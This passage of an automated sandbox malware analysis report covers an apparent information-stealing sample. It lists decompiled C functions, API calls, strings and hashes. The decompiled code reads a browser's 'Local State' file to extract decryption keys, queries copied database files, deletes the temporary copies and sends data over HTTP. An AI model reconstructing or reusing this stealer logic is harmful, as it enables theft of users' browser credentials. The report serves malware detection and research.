									E00409581(__eflags,  &_a4, _v12);
									_t144 = _a4;
									_v36 = _v16;
									_v32 = _t144;
									_v28 = 0;
									asm("movsd");
									asm("movsd");
									asm("movsd");
									_t100 =  *((intOrPtr*)( *0x40e08c))(_t144);
									__eflags = _t100 - 0x40;
									if(_t100 > 0x40) {
										_t107 =  *((intOrPtr*)( *0x40e044))(0x40, 0x208);
										_t108 =  *((intOrPtr*)( *0x40e044))(0x40, 0x208);
										_t158 = 0x10;
										_t109 = E0040A05F(_t107, _t158);
										_v24 = _t109;
										_t110 =  *((intOrPtr*)( *0x40e13c))(_t108,  *0x40e210);
										_t173 = _v24;
										_t111 = E0040A503(_t110, _t173);
										_t149 =  *0x40e204; // 0x837988
										_v28 = _v28 & 0x00000000;
										_v32 = _t149;
										_v24 = _t111;
										_t112 = E00408619( &_v24);
										_v20 = _t112;
										_t184 =  *((intOrPtr*)( *0x40e044))(0x40, 0x184);
										 *((intOrPtr*)( *0x40e0e4))(0xfde9, 0, _t173, 0xffffffff, 0, 0, 0, 0);
										__eflags = 0;
										if(0 != 0) {
											 *((intOrPtr*)( *0x40e0e4))(0xfde9, 0, _t173, 0xffffffff, _t184, 0, 0, 0);
											__eflags = 0;
											if(0 != 0) {
												E00407EDB(_a8, _t184, 1,  &_v60, 0, 0, _v20,  &_v32);
											}
										}
										LocalFree(_t184);
										LocalFree(_v20);
										LocalFree(_v24);
										LocalFree(_t173);
									}
									LocalFree(_a4);
									LocalFree(_v8);
									LocalFree(_v12);
									L19:
									LocalFree(_v16);
									_t105 = 1;
									L20:
									return _t105;
								}
								LocalFree(_v8);
								LocalFree(_v12);
								L9:
								_push(0xfffffffc);
								L10:
								_pop(1);
								goto L19;
							}
							LocalFree(_v8);
							goto L9;
						}
						_push(0xfffffffd);
						goto L10;
					}
					_t133 = _t55 - _t164;
					__eflags = _t133;
					_t127 = _t133 >> 1;
					if(_t133 >= 0) {
						goto L5;
					}
					_t105 = 0xfffffffe;
					goto L20;
				}
				_t105 = _t53 | 0xffffffff;
				goto L20;
			}

0x00409919
0x0040991e
0x00409920
0x00409924
0x00409939
0x0040993d
0x0040993f
0x00409941
0x00409953
0x0040996f
0x00409974
0x0040997b
0x0040997d
0x00409991
0x0040999c
0x004099a4
0x004099b8
0x004099be
0x004099c5
0x004099c7
0x004099e8
0x004099f3
0x004099fb
0x00409a18
0x00409a1a
0x00409a36
0x00409a44
0x00409a4b
0x00409a54
0x00409a5d
0x00409a66
0x00409a6f
0x00409a78
0x00409a81
0x00409a8a
0x00409a96
0x00409a9b
0x00409aa7
0x00409aaf
0x00409ab2
0x00409ab5
0x00409ab7
0x00409ab8
0x00409ab9
0x00409abe
0x00409ac1
0x00409ad4
0x00409ae1
0x00409ae5
0x00409aea
0x00409afc
0x00409aff
0x00409b01
0x00409b08
0x00409b0d
0x00409b13
0x00409b17
0x00409b1d
0x00409b20
0x00409b32
0x00409b3d
0x00409b4e
0x00409b50
0x00409b52
0x00409b69
0x00409b6b
0x00409b6d
0x00409b84
0x00409b89
0x00409b6d
0x00409b8d
0x00409b96
0x00409b9f
0x00409ba6
0x00409ba6
0x00409baf
0x00409bb8
0x00409bc1
0x00409bc7
0x00409bca
0x00409bd0
0x00409bd3
0x00409bd6
0x00409bd6
0x00409a1f
0x004099cc
0x004099cc
0x004099d2
0x004099d4
0x004099d4
0x00000000
0x004099d4
0x004099cc
0x00000000
0x004099cc
0x0040997f
0x00000000
0x0040997f
0x00409945
0x00409945
0x00409947
0x00409949
0x00000000
0x00000000
0x0040994d
0x00000000
0x0040994d
0x00409926
0x00000000

Strings

pXqt, xrefs: 004099CC, 00409A1F, 00409B8D, 00409B96, 00409B9F, 00409BA6, 00409BAF, 00409BB8, 00409BC1, 00409BCA

Memory Dump Source

Source File: 00000012.00000002.399898990.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.400970975.0000000000410000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_kukurzka9000.jbxd

Yara matches

Similarity

API ID:
String ID: pXqt
API String ID: 0-1234763034
Opcode ID: 04f12ae8814da058343c2e57629071c3ba8950ef59b0fb61412e087f2168b86d
Instruction ID: d553b19b407f17417f5105702fe08a0418c2ec115b386657b372b4e652bae7b9
Opcode Fuzzy Hash: 04f12ae8814da058343c2e57629071c3ba8950ef59b0fb61412e087f2168b86d
Instruction Fuzzy Hash: FA81D5B1900205BFDB00DBA6DD45DAE7BB9EB84310B00493AF914F72D1DB78AD11CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00407C62 Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 232networkCOMMON

Download Yara Rule

APIs

HttpSendRequestW.WININET(00000000,?,00000000), ref: 00407E0E
InternetCloseHandle.WININET(00000000), ref: 00407E39
InternetCloseHandle.WININET(?), ref: 00407E45
InternetCloseHandle.WININET(00000000), ref: 00407E4C
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,00000001), ref: 00407E6E
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,00000001), ref: 00407EA6
LocalFree.KERNEL32(0000002F), ref: 00407EBA
LocalFree.KERNEL32(?), ref: 00407EC3
LocalFree.KERNEL32(00000000), ref: 00407ECA

Strings

mozzzzzzzzzzz, xrefs: 00407D6A
pXqt, xrefs: 00407EBA, 00407EC3, 00407ECA
/, xrefs: 00407CD5

Memory Dump Source

Source File: 00000012.00000002.399898990.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.400970975.0000000000410000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: CloseFreeHandleInternetLocal$ByteCharMultiWide$HttpRequestSend
String ID: /$mozzzzzzzzzzz$pXqt
API String ID: 2620049550-546489954
Opcode ID: 6c2859dcb35dbed66665eb2f5d4fab0f439358c126c8472905a5f17b3495ad7a
Instruction ID: 677f3e060cdc4141eea8ad2591dda170fc442a0e6149e7f0a8c7285b1f3b2b30
Opcode Fuzzy Hash: 6c2859dcb35dbed66665eb2f5d4fab0f439358c126c8472905a5f17b3495ad7a
Instruction Fuzzy Hash: 0F71BF71A00215BFEB149BA5CD45F7B77B8EB48700F04847AFA14FB2D0D6B4AD508BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0254484E Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 232COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 025448AD
LocalFree.KERNEL32(?), ref: 02544AF4
LocalFree.KERNEL32(?), ref: 02544B14
FindClose.KERNEL32(00000000), ref: 02544B1B

Strings

pXqt, xrefs: 025448AD, 02544ABD, 02544AD6, 02544AE0, 02544AEA, 02544AF4, 02544B14
., xrefs: 025448C1

Memory Dump Source

Source File: 00000012.00000002.403457395.0000000002540000.00000040.00001000.00020000.00000000.sdmp, Offset: 02540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_2540000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: FreeLocal$CloseFind
String ID: .$pXqt
API String ID: 3269183270-3506007591
Opcode ID: eeb62ecb9f106cfc2f54af98f71ca67650812a65c88e6959245ad390bece3727
Instruction ID: 66d8cf6e3e532e0d76185dfd4077f1d252f7b6ae5f8ef56599c6a3ab0af06810
Opcode Fuzzy Hash: eeb62ecb9f106cfc2f54af98f71ca67650812a65c88e6959245ad390bece3727
Instruction Fuzzy Hash: 61814CB1604311AFE704DF66DD49F6BB7E6FB88318F004928F655A7290DBB0D910CB6A

Uniqueness

Uniqueness Score: -1.00%

Function 02546068 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 187fileCOMMON

Download Yara Rule

APIs

Part of subcall function 02549C12: LocalFree.KERNEL32(00000000,?,?,02541F22), ref: 02549C75

LocalFree.KERNEL32(00000000), ref: 02546114
LocalFree.KERNEL32(?), ref: 02546223
DeleteFileW.KERNEL32(?,?,?,?,?,02545DDF), ref: 0254625D
LocalFree.KERNEL32(?,?,?,?,?,02545DDF), ref: 02546268
LocalFree.KERNEL32(00000000,?,?,?,?,02545DDF), ref: 02546273
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,02545DDF), ref: 0254627F
DeleteFileW.KERNEL32(?,?,?,?,?,?,?,02545DDF), ref: 02546286
LocalFree.KERNEL32(?,?,?,?,?,?,?,02545DDF), ref: 0254628D

Strings

TRUE, xrefs: 025461DE, 025461E9
FALSE, xrefs: 025461D9
pXqt, xrefs: 02546114, 02546223, 02546268, 02546273, 0254627F, 0254628D

Memory Dump Source

Source File: 00000012.00000002.403457395.0000000002540000.00000040.00001000.00020000.00000000.sdmp, Offset: 02540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_2540000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: FreeLocal$DeleteFile
String ID: FALSE$TRUE$pXqt
API String ID: 2194112602-608640648
Opcode ID: 4de672f5ef5204324d375e2cd98ccb70593393dc9187e84e2e65f519924a5a45
Instruction ID: 96fc79355f33493b720c7dc2c1a79d95353ea9b8da6088c93b862b122d6cc206
Opcode Fuzzy Hash: 4de672f5ef5204324d375e2cd98ccb70593393dc9187e84e2e65f519924a5a45
Instruction Fuzzy Hash: B8617271A00214BFDB049FA1EE45FADBBB9FF48314F104428F915B72A0DB749920DB59

Uniqueness

Uniqueness Score: -1.00%

Function 00401C87 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 151
COMMON

Download Yara Rule

C-Code - Quality: 18%

			E00401C87(WCHAR* __ecx, WCHAR* __edx, intOrPtr* _a4, intOrPtr* _a8, intOrPtr* _a12, void* _a16) {
				WCHAR* _v8;
				WCHAR* _v12;
				void* _v16;
				char _v20;
				intOrPtr _v24;
				void* _t35;
				void* _t56;
				void* _t66;
				char _t73;
				void* _t74;
				WCHAR* _t77;
				void* _t78;
				intOrPtr _t81;
				WCHAR* _t93;
				void* _t96;
				intOrPtr* _t98;
				void* _t99;
				intOrPtr _t100;
				intOrPtr* _t101;
				intOrPtr _t102;
				intOrPtr* _t103;

				_v12 = __edx;
				_t73 = 0;
				_v8 = __ecx;
				_v20 = 0;
				_t35 =  *((intOrPtr*)( *0x40e044))(0x40, 0x208);
				_t96 = _t35;
				_v16 =  *((intOrPtr*)( *0x40e044))(0x40, 0x208);
				if(_a16 != 0) {
					_push(__ecx);
				} else {
					PathCombineW(_t96, __ecx, _v12);
					_push(_t96);
				}
				_t98 = _a4;
				 *_t98 =  *((intOrPtr*)( *0x40e13c))( *_t98);
				_t99 = _v16;
				PathCombineW(_t99, _v8, L"Local State");
				_t77 =  *((intOrPtr*)( *0x40e03c))(_t99, 0x80000000, 1, _t73, 3, _t73, _t73);
				_v12 = _t77;
				_t78 =  *((intOrPtr*)( *0x40e14c))(_t77, _t73);
				_a16 = _t78;
				_t93 =  *((intOrPtr*)( *0x40e044))(0x40, _t78);
				_push(_t73);
				_v8 = _t93;
				_push( &_v20);
				_push(_a16 - 1);
				_push(_t93);
				_push(_v12);
				if( *((intOrPtr*)( *0x40e088))() != 0) {
					_t81 = _a16 + _a16;
					_v24 = _t81;
					_t56 =  *((intOrPtr*)( *0x40e044))(0x40, _t81);
					_t100 =  *0x40e1f4; // 0x82b840
					_a16 = _t56;
					E0040A16F(E0040A4C2(_v8), _t100,  &_a16,  &_a16);
					_push(_a16);
					if( *((intOrPtr*)( *0x40e08c))() > 0) {
						_t101 = _a8;
						 *_t101 =  *((intOrPtr*)( *0x40e13c))( *_t101, _a16);
						LocalFree(_a16);
						_t66 =  *((intOrPtr*)( *0x40e044))(0x40, _v24);
						_t102 =  *0x40e200; // 0x826310
						_a16 = _t66;
						E0040A16F(E0040A4C2(_v8), _t102,  &_a16,  &_a16);
						_t74 = _a16;
						if(_t74 != 0) {
							_t103 = _a12;
							 *_t103 =  *((intOrPtr*)( *0x40e13c))( *_t103, _t74);
							LocalFree(_t74);
						}
						_t73 = 1;
					}
					CloseHandle(_v12);
					_t99 = _v16;
				}
				LocalFree(_t99);
				LocalFree(_t96);
				LocalFree(_v8);
				return _t73;
			}

0x00401c9c
0x00401c9f
0x00401ca1
0x00401ca6
0x00401ca9
0x00401cb0
0x00401cbb
0x00401cc1
0x00401cd1
0x00401cc3
0x00401cc8
0x00401cce
0x00401cce
0x00401cd2
0x00401ce6
0x00401ce8
0x00401cec
0x00401d06
0x00401d0f
0x00401d14
0x00401d1e
0x00401d29
0x00401d2b
0x00401d2f
0x00401d32
0x00401d37
0x00401d38
0x00401d39
0x00401d40
0x00401d4e
0x00401d53
0x00401d56
0x00401d5b
0x00401d61
0x00401d72
0x00401d7e
0x00401d85
0x00401d87
0x00401d99
0x00401d9b
0x00401dab
0x00401db0
0x00401db6
0x00401dc7
0x00401dcc
0x00401dd3
0x00401dd5
0x00401de3
0x00401de5
0x00401de5
0x00401ded
0x00401ded
0x00401df1
0x00401df7
0x00401df7
0x00401dfb
0x00401e02
0x00401e0b
0x00401e17

APIs

PathCombineW.SHLWAPI(00000000,00000000,?), ref: 00401CC8
PathCombineW.SHLWAPI(?,?,Local State), ref: 00401CEC
LocalFree.KERNEL32(?), ref: 00401D9B
LocalFree.KERNEL32(?), ref: 00401DE5
CloseHandle.KERNEL32(?), ref: 00401DF1
LocalFree.KERNEL32(?), ref: 00401DFB
LocalFree.KERNEL32(00000000), ref: 00401E02
LocalFree.KERNEL32(?), ref: 00401E0B

Strings

pXqt, xrefs: 00401D9B, 00401DE5, 00401DFB, 00401E02, 00401E0B
Local State, xrefs: 00401CDE

Memory Dump Source

Source File: 00000012.00000002.399898990.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.400970975.0000000000410000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: FreeLocal$CombinePath$CloseHandle
String ID: Local State$pXqt
API String ID: 2998194811-81928650
Opcode ID: b89154720f445bf51b2e96a239cc4b3d4fa919ccbd2c9594b8aa0e9c2ba5a7c7
Instruction ID: e8ea5197d75d1b9ffa148ce1658a92dc358bcbabd267189588b6ee53365c4b7a
Opcode Fuzzy Hash: b89154720f445bf51b2e96a239cc4b3d4fa919ccbd2c9594b8aa0e9c2ba5a7c7
Instruction Fuzzy Hash: B95141B5600215EFEB04DFA5DE85AAE7BB9EF48300F104829F915F7250D774AD20CB69

Uniqueness

Uniqueness Score: -1.00%

Function 004092CF Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 131stringCOMMON

Download Yara Rule

APIs

lstrcpyn.KERNEL32(00000000,00409A74,00000000,?,?,?,?,?,?,?,?,?,00409A74,00000000,00000000,00000000), ref: 0040933B
lstrcpyn.KERNEL32(00000010,00409A74,00000000,?,?,?,?,?,?,?,?,?,00409A74,00000000,00000000,00000000), ref: 0040937B
lstrcpyn.KERNEL32(00000020,00409A74,00000000,?,?,?,?,?,?,?,?,?,00409A74,00000000,00000000,00000000), ref: 004093BB
GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,00409A74,00000000,00000000,00000000,00000000,00000000), ref: 004093C5

Part of subcall function 0040A4C2: LocalAlloc.KERNEL32(00000040,?,?,?,00000000,00407793), ref: 0040A4E1
Part of subcall function 0040A4C2: MultiByteToWideChar.KERNEL32(0000FDE9,00000000,afb5c633c4650f69312baef49db9dfa4,000000FF,00000000,00000000,?,?,?,00000000,00407793), ref: 0040A4F1

wsprintfW.USER32 ref: 004093E3

Part of subcall function 0040A503: lstrlenW.KERNEL32(?,00000000,?,00000000,00000000,?,00408633), ref: 0040A516
Part of subcall function 0040A503: lstrlenW.KERNEL32(?,?,00000000,?,00000000,00000000,?,00408633), ref: 0040A51D
Part of subcall function 0040A503: GlobalFree.KERNEL32(?), ref: 0040A550

LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00409A74,00000000), ref: 004093FB
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00409A74,00000000), ref: 00409402
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,00409A74,00000000,00000000,00000000,00000000,00000000), ref: 00409411
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,00409A74,00000000,00000000,00000000,00000000,00000000), ref: 0040941B

Strings

pXqt, xrefs: 004093FB, 00409402, 00409411, 0040941B

Memory Dump Source

Source File: 00000012.00000002.399898990.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.400970975.0000000000410000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: FreeLocal$lstrcpyn$lstrlen$AllocByteCharGlobalInfoMultiSystemWidewsprintf
String ID: pXqt
API String ID: 850942500-1234763034
Opcode ID: b4d1448f4ce841ff52ca8b65c126921d7f37aa71f907b12cfa87153c2d27789a
Instruction ID: bf3e6bb46204bb3e37d09e038ca25be6bf8868f14e997d98ff16e67e74bb5e03
Opcode Fuzzy Hash: b4d1448f4ce841ff52ca8b65c126921d7f37aa71f907b12cfa87153c2d27789a
Instruction Fuzzy Hash: 0D4192B1A002149FDB04CF69DDC496ABBF8EB48320B14857AFE09FB355D6749D50CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 02548E7A Relevance: 16.8, APIs: 10, Strings: 1, Instructions: 263COMMON

Download Yara Rule

Strings

pXqt, xrefs: 02548F40, 02548F93, 02549101, 0254910A, 02549113, 0254911A, 02549123, 0254912C, 02549135, 0254913E

Memory Dump Source

Source File: 00000012.00000002.403457395.0000000002540000.00000040.00001000.00020000.00000000.sdmp, Offset: 02540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_2540000_kukurzka9000.jbxd

Yara matches

Similarity

API ID:
String ID: pXqt
API String ID: 0-1234763034
Opcode ID: d851c9bc5cda07b011c471ba514d21b876054248c69a850a91c851fea1f9c6b3
Instruction ID: b36e81ec94b157a3e22b8753b8adecb472557dc9f7c7baa383461bfbb4c1466b
Opcode Fuzzy Hash: d851c9bc5cda07b011c471ba514d21b876054248c69a850a91c851fea1f9c6b3
Instruction Fuzzy Hash: A9818272900116BFDB009BA5DD49EAEBBBAFB84314F004925FA14E7290DF749A11CB69

Uniqueness

Uniqueness Score: -1.00%

Function 025411FB Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 151COMMON

Download Yara Rule

APIs

PathCombineW.SHLWAPI(00000000,00000000,00000000,?,00000000,00000000), ref: 0254123C
PathCombineW.SHLWAPI(?,00000000,0040C79C,?,00000000,00000000), ref: 02541260
LocalFree.KERNEL32(?,?,00000000,00000000), ref: 0254130F
LocalFree.KERNEL32(?,?,00000000,00000000), ref: 02541359
CloseHandle.KERNEL32(00000000,?,00000000,00000000), ref: 02541365
LocalFree.KERNEL32(?,?,00000000,00000000), ref: 0254136F
LocalFree.KERNEL32(00000000,?,00000000,00000000), ref: 02541376
LocalFree.KERNEL32(00000000,?,00000000,00000000), ref: 0254137F

Strings

pXqt, xrefs: 0254130F, 02541359, 0254136F, 02541376, 0254137F

Memory Dump Source

Source File: 00000012.00000002.403457395.0000000002540000.00000040.00001000.00020000.00000000.sdmp, Offset: 02540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_2540000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: FreeLocal$CombinePath$CloseHandle
String ID: pXqt
API String ID: 2998194811-1234763034
Opcode ID: 7829dc6c71f128cacdf391500ca352a992bf4a38fd881ec11def570a6cd4989f
Instruction ID: d51067e405fd15127976f088611a0c2b0342f3d4988accd188160d5398b15507
Opcode Fuzzy Hash: 7829dc6c71f128cacdf391500ca352a992bf4a38fd881ec11def570a6cd4989f
Instruction Fuzzy Hash: 8B5130B5A00215EFEB14DFA5DE45AAE7BB9FB48304F104828F914F7250DB70AD10CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00405FEB Relevance: 15.3, APIs: 9, Strings: 1, Instructions: 274memorystringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00837728,?,?,?,?,?,?,?,?,?,?,?,004058D7,?,?,?), ref: 00406137
LocalAlloc.KERNEL32(00000040,00000000,?,?,?,?,?,?,?,?,?,?,?,004058D7,?,?), ref: 0040615C
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,004058D7,?,?,?), ref: 00406221

Part of subcall function 0040A503: lstrlenW.KERNEL32(?,00000000,?,00000000,00000000,?,00408633), ref: 0040A516
Part of subcall function 0040A503: lstrlenW.KERNEL32(?,?,00000000,?,00000000,00000000,?,00408633), ref: 0040A51D
Part of subcall function 0040A503: GlobalFree.KERNEL32(?), ref: 0040A550

LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,004058D7,?,?,?), ref: 0040622B
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,004058D7,?,?,?,00000000,00000000,00000000), ref: 00406270
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,004058D7,?,?,?,00000000,00000000,00000000), ref: 004062C7
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,004058D7,?,?,?,00000000,00000000,00000000), ref: 004062CE
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,004058D7,?,?,?,00000000,00000000,00000000), ref: 00406325
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,004058D7,?,?,?,00000000,00000000,00000000), ref: 0040632F

Strings

pXqt, xrefs: 00406221, 0040622B, 00406270, 004062C7, 004062CE, 00406325, 0040632F

Memory Dump Source

Source File: 00000012.00000002.399898990.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.400970975.0000000000410000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: FreeLocal$lstrlen$AllocGlobal
String ID: pXqt
API String ID: 3339188435-1234763034
Opcode ID: 319254aba6765eaa7791b5b77958f6401530b4e901e8356fdf1d01df47330636
Instruction ID: ff6bad65333e8fe1a3c55b3bcf1dec483b74064a970dacde523e554a8e1a11d4
Opcode Fuzzy Hash: 319254aba6765eaa7791b5b77958f6401530b4e901e8356fdf1d01df47330636
Instruction Fuzzy Hash: 78A1A872504301ABDB14DF65DD8096BBBF5FF88300F01492DFA59A72A0D775E820CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 025471D6 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 232networkCOMMON

Download Yara Rule

APIs

InternetCloseHandle.WININET(00000000), ref: 025473AD
InternetCloseHandle.WININET(?), ref: 025473B9
InternetCloseHandle.WININET(00000000), ref: 025473C0
LocalFree.KERNEL32(0000002F), ref: 0254742E
LocalFree.KERNEL32(?), ref: 02547437
LocalFree.KERNEL32(00000000), ref: 0254743E

Strings

pXqt, xrefs: 0254742E, 02547437, 0254743E
/, xrefs: 02547249

Memory Dump Source

Source File: 00000012.00000002.403457395.0000000002540000.00000040.00001000.00020000.00000000.sdmp, Offset: 02540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_2540000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: CloseFreeHandleInternetLocal
String ID: /$pXqt
API String ID: 3319388337-463846786
Opcode ID: 1b3c63f6ad7b7c56e05ea6f413d6885c404e8ecc1f31910e50c1ca249fd4186c
Instruction ID: 670d730def16a1fc49311cd13964542e8993448b1023765dda7e6dc7b4389013
Opcode Fuzzy Hash: 1b3c63f6ad7b7c56e05ea6f413d6885c404e8ecc1f31910e50c1ca249fd4186c
Instruction Fuzzy Hash: B871D671A00215BFEB149BA5CD45F7EBBB8FB48714F048429FA14F7290EBB0AD509768

Uniqueness

Uniqueness Score: -1.00%

Function 00407213 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 145
fileCOMMON

Download Yara Rule

C-Code - Quality: 19%

			E00407213(intOrPtr* __ecx, intOrPtr _a4, void* _a8) {
				char _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				void* _t24;
				void* _t25;
				void* _t27;
				intOrPtr* _t32;
				intOrPtr* _t39;
				void* _t40;
				intOrPtr* _t41;
				intOrPtr* _t43;
				intOrPtr _t44;
				intOrPtr _t45;
				intOrPtr _t47;
				intOrPtr _t48;
				intOrPtr _t51;
				intOrPtr _t52;
				intOrPtr* _t59;
				intOrPtr* _t69;
				intOrPtr _t82;
				intOrPtr _t84;
				intOrPtr _t85;
				void* _t87;
				void* _t89;
				void* _t90;
				void* _t91;

				_t59 = __ecx;
				if(_a8 == 0) {
					L18:
					return 0;
				}
				_t24 =  *((intOrPtr*)( *0x40e044))(0x40, 0x208);
				_t25 =  *((intOrPtr*)( *0x40e044))(0x40, 0x208);
				_a8 = _t25;
				_t87 =  *((intOrPtr*)( *0x40e000))(_t24, _a4,  *0x40e284);
				_t27 = E0040A69E( *0x40e000,  &_a8);
				_t89 = _a8;
				if(_t27 == 0) {
					L16:
					LocalFree(_t87);
					L17:
					DeleteFileW(_t89);
					LocalFree(_t89);
					goto L18;
				}
				_push(0);
				_push(_t89);
				_push(_t87);
				if( *((intOrPtr*)( *0x40e184))() == 0) {
					goto L16;
				}
				_t32 =  *0x40e488; // 0x0
				_push( &_v8);
				_push(_t89);
				if( *_t32() != 0) {
					L11:
					DeleteFileW(_t89);
					if(_t89 != 0) {
						LocalFree(_t89);
					}
					if(_t87 != 0) {
						LocalFree(_t87);
					}
					return 1;
				}
				_t39 =  *0x40e494; // 0x0
				_t40 =  *_t39(_v8,  *0x40e238, 0xffffffff,  &_a8, 0);
				_t91 = _t90 + 0x14;
				if(_t40 == 0) {
					while(1) {
						_push(_a8);
						_t41 =  *0x40e48c; // 0x0
						if( *_t41() != 0x64) {
							break;
						}
						_t43 =  *0x40e4b4; // 0x0
						_t44 =  *_t43(_a8, 0);
						_t69 =  *0x40e4b4; // 0x0
						_v12 = _t44;
						_t45 =  *_t69(_a8, 1);
						_t91 = _t91 + 0x10;
						_v16 = _t45;
						_push(_v12);
						if( *((intOrPtr*)( *0x40e08c))() > 1) {
							_t47 = E0040A503( *_t59, _v12);
							_t82 =  *0x40e228; // 0x837ac8
							 *_t59 = _t47;
							_t48 = E0040A503(_t47, _t82);
							_push(_v16);
							 *_t59 = _t48;
							if( *((intOrPtr*)( *0x40e08c))() > 1) {
								_t51 = E0040A503( *_t59, _v16);
								_t84 =  *0x40e228; // 0x837ac8
								 *_t59 = _t51;
								_t52 = E0040A503(_t51, _t84);
								_t85 =  *0x40e228; // 0x837ac8
								 *_t59 = _t52;
								 *_t59 = E0040A503(_t52, _t85);
							}
						}
					}
					 *0x40e4b0(_a8);
					 *0x40e4a4(_v8);
					goto L11;
				} else {
					LocalFree(_t87);
					 *0x40e4b0(_a8);
					 *0x40e4a4(_v8);
					goto L17;
				}
			}

APIs

Part of subcall function 0040A69E: LocalFree.KERNEL32(00000000,?,?,0040B2D2), ref: 0040A701

LocalFree.KERNEL32(00000000), ref: 004072BC
DeleteFileW.KERNEL32(00000000,?), ref: 0040738A
LocalFree.KERNEL32(00000000), ref: 00407395
LocalFree.KERNEL32(00000000), ref: 004073A0
LocalFree.KERNEL32(00000000), ref: 004073AC
DeleteFileW.KERNEL32(00000000), ref: 004073B3
LocalFree.KERNEL32(00000000), ref: 004073BA

Strings

pXqt, xrefs: 004072BC, 00407395, 004073A0, 004073AC, 004073BA

Memory Dump Source

Source File: 00000012.00000002.399898990.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.400970975.0000000000410000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: FreeLocal$DeleteFile
String ID: pXqt
API String ID: 2194112602-1234763034
Opcode ID: fff7a6ba5d09c9eef6c2a5eae38c7ae9a59b5e943db98ac9773f53fe00cef482
Instruction ID: e2ceee55462ef4f82933ad8064aef6a6fdd8d3625f281d360eeb473cc6bbcb89
Opcode Fuzzy Hash: fff7a6ba5d09c9eef6c2a5eae38c7ae9a59b5e943db98ac9773f53fe00cef482
Instruction Fuzzy Hash: C5419431504110AFEB099F66EE85E6E37B5EF44320F104839FD15FB2A0DB78A921DB5A

Uniqueness

Uniqueness Score: -1.00%

Function 02546787 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 145fileCOMMON

Download Yara Rule

APIs

Part of subcall function 02549C12: LocalFree.KERNEL32(00000000,?,?,02541F22), ref: 02549C75

LocalFree.KERNEL32(00000000), ref: 02546830
DeleteFileW.KERNEL32(00000000), ref: 025468FE
LocalFree.KERNEL32(00000000), ref: 02546909
LocalFree.KERNEL32(00000000), ref: 02546914
LocalFree.KERNEL32(00000000), ref: 02546920
DeleteFileW.KERNEL32(00000000), ref: 02546927
LocalFree.KERNEL32(00000000), ref: 0254692E

Strings

pXqt, xrefs: 02546830, 02546909, 02546914, 02546920, 0254692E

Memory Dump Source

Source File: 00000012.00000002.403457395.0000000002540000.00000040.00001000.00020000.00000000.sdmp, Offset: 02540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_2540000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: FreeLocal$DeleteFile
String ID: pXqt
